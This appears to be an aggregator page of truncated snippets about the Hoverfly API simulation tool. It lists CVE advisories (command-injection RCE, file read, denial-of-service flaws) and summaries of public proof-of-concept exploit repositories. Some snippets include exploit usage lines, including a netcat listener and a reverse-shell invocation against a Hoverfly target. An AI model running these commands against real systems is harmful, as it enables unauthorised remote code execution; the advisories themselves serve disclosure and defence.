hoverfly

API simulations for development and testing Hoverfly is a lightweight, open source API simulation tool. Using Hoverfly, you can create realistic simulations of the APIs your application depends on. Replace slow, flaky API dependencies with realistic, re-usable simulations Simulate network latency...

Hoverfly-1.11.3-RCE-CVE-2025-54123-Exploit

CVE-2025-54123 — Hoverfly Middleware API Remote Code Execution Authenticated RCE via OS Command Injection in Hoverfly ≤ 1.11.3 Vulnerability Overview Property| Value ---|--- CVE ID| CVE-2025-54123 CVSS Score| 9.8 — Critical CVSS Vector| CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CWE| CWE-78 OS...

CVE-2025-54123

CVE-2025-54123 개요 HoverFly의 미들웨어 API 엔드포인트에서 불충분한 입력 검증과 안전하지 않은 명령 실행으로 인해 발생하는 인증된 원격 코드 실행 취약점입니다. 공격 흐름 1. 인증 공격자는 유효한 자격 증명 또는 세션 토큰을 사용하여 HoverFly에 인증합니다 /api/token-auth 엔드포인트를 통해 Bearer 토큰을 획득합니다 2. 악성 Payload 제작 공격자는 다음 항목이 포함된 JSON payload를 구성합니다 binary: /bin/bash 사용자 제어 script: 임의의 셸 명령...

CVE-2025-54123-Poc

CVE-2025-54123 익스플로잇 Hoverfly 인증 미들웨어 명령 주입 RCE | CVSS 9.8 심각 취약점 Hoverfly -u -p -c --shell SHELL -t, --target - Hoverfly API 엔드포인트 필수 -u, --username - 관리자 사용자 이름 필수 -p, --password - 관리자 비밀번호 필수 -c, --command - 실행할 명령어 필수 --shell - 사용할 셸 바이너리 기본값: /bin/bash 예제 기본 명령 실행 python3 exploit.py -t...

Hoverfly < 1.10.3 - Arbitrary File Read

Hoverfly is a lightweight service virtualization/ API simulation / API mocking tool for developers and testers. The /api/v2/simulation POST handler allows users to create new simulation views from the contents of a user-specified file. This feature can be abused by an attacker to read arbitrary...

CVE-2025-54123

CVE-2025-54123 Hoverfly CVE 원격 코드 실행 사용법 명령 실행: python3 CVE-2025-54123.py -u $USER -p $PASS -t "http://example.com:8888" -c whoami 리버스 셸: nc -lvnp 443 python3 CVE-2025-54123.py -u $USER -p $PASS -t "http://example.com:8888" -r $IP 443 면책 조항 이 스크립트는 교육 목적으로만 제공됩니다. 허가 없이 시스템에서 이 익스플로잇을 무단 사용하는 것은...

CVE-2025-54123

CVE-2025-54123 - Hoverfly 명령 주입 RCE PoC CVE-2025-54123 - Hoverfly의 미들웨어 명령 주입 📌 CVE 세부 정보 ID : CVE-2025-54123 유형 : 명령 주입 / 원격 코드 실행 RCE 공급업체 : Hoverfly 영향 : 인증된 공격자가 미들웨어 API 엔드포인트를 통해 임의의 시스템 명령을 실행할 수 있습니다. 영향받는 버전 : Hoverfly ≤ 1.11.3 추가 정보 : GHSA-r4h8-hfp2-ggmf NVD:...

CVE-2025-54123

CVE-2025-54123 Hoverfly Command Injection to RCE PoC Overview This repository contains a Python proof-of-concept PoC script for interacting with Hoverfly instances affected by CVE-2025-54123. The script supports: Authentication using username/password credentials Authentication using an existing...

devarea

DevArea — HackTheBox プラットフォーム: HackTheBox OS: Linux ステータス: リタイア済み — 完全なウォークスルー公開中。 完全なウォークスルー: l3dsec.com/walkthroughs/devarea-htb 攻撃チェーン root@kitploit: nmap → 21 FTP anon + 80 + 8080 Jetty + 8888 Hoverfly → FTP anon → employee-service.jar Apache CXF, pre-3.5.5 → CVE-2022-46364 SSRF →...

hoverfly v1.12.14

API simulations for development and testing Hoverfly is a lightweight, open source API simulation tool. Using Hoverfly, you can create realistic simulations of the APIs your application depends on. Replace slow, flaky API dependencies with realistic, re-usable simulations Simulate network latency...

CVE-2026-50013

Hoverfly is an open source API simulation tool. Prior to version 1.12.8, when Hoverfly is running in Diff mode, the AddDiff function writes to the shared responsesDiff map without any synchronization no mutex. When multiple proxy requests are processed concurrently the normal case for any proxy,...

CVE-2026-50018

Hoverfly is an open source API simulation tool. Prior to version 1.12.8, remote post-serve actions use http.DefaultClient without any timeout configuration. When the remote endpoint is unreachable or intentionally slow accepts TCP connection but never responds, each triggered proxy request spawns...

CVE-2026-50018 Hoverfly: Denial of Service via Goroutine Leak in Remote Post-Serve Actions

Hoverfly is an open source API simulation tool. Prior to version 1.12.8, remote post-serve actions use http.DefaultClient without any timeout configuration. When the remote endpoint is unreachable or intentionally slow accepts TCP connection but never responds, each triggered proxy request spawns...

EUVD-2026-76754

Hoverfly is an open source API simulation tool. Prior to version 1.12.8, remote post-serve actions use http.DefaultClient without any timeout configuration. When the remote endpoint is unreachable or intentionally slow accepts TCP connection but never responds, each triggered proxy request spawns...

CVE-2026-50018

Hoverfly (open source API simulation tool) prior to version 1.12.8 is vulnerable to denial of service via a goroutine leak in its remote post-serve actions . The root cause is the use of http.DefaultClient without any timeout configuration: when the remote endpoint is unreachable or intentionally...

CVE-2026-50018 Hoverfly: Denial of Service via Goroutine Leak in Remote Post-Serve Actions

Hoverfly is an open source API simulation tool. Prior to version 1.12.8, remote post-serve actions use http.DefaultClient without any timeout configuration. When the remote endpoint is unreachable or intentionally slow accepts TCP connection but never responds, each triggered proxy request spawns...

CVE-2026-50018 Hoverfly: Denial of Service via Goroutine Leak in Remote Post-Serve Actions

Hoverfly is an open source API simulation tool. Prior to version 1.12.8, remote post-serve actions use http.DefaultClient without any timeout configuration. When the remote endpoint is unreachable or intentionally slow accepts TCP connection but never responds, each triggered proxy request spawns...

EUVD-2026-76755

Hoverfly is an open source API simulation tool. Prior to version 1.12.8, when Hoverfly is running in Diff mode, the AddDiff function writes to the shared responsesDiff map without any synchronization no mutex. When multiple proxy requests are processed concurrently the normal case for any proxy,...

CVE-2026-50013 Hoverfly: Process Crash via Concurrent Map Write Race Condition in Diff Mode

Hoverfly is an open source API simulation tool. Prior to version 1.12.8, when Hoverfly is running in Diff mode, the AddDiff function writes to the shared responsesDiff map without any synchronization no mutex. When multiple proxy requests are processed concurrently the normal case for any proxy,...

CVE-2026-50013 Hoverfly: Process Crash via Concurrent Map Write Race Condition in Diff Mode

Hoverfly is an open source API simulation tool. Prior to version 1.12.8, when Hoverfly is running in Diff mode, the AddDiff function writes to the shared responsesDiff map without any synchronization no mutex. When multiple proxy requests are processed concurrently the normal case for any proxy,...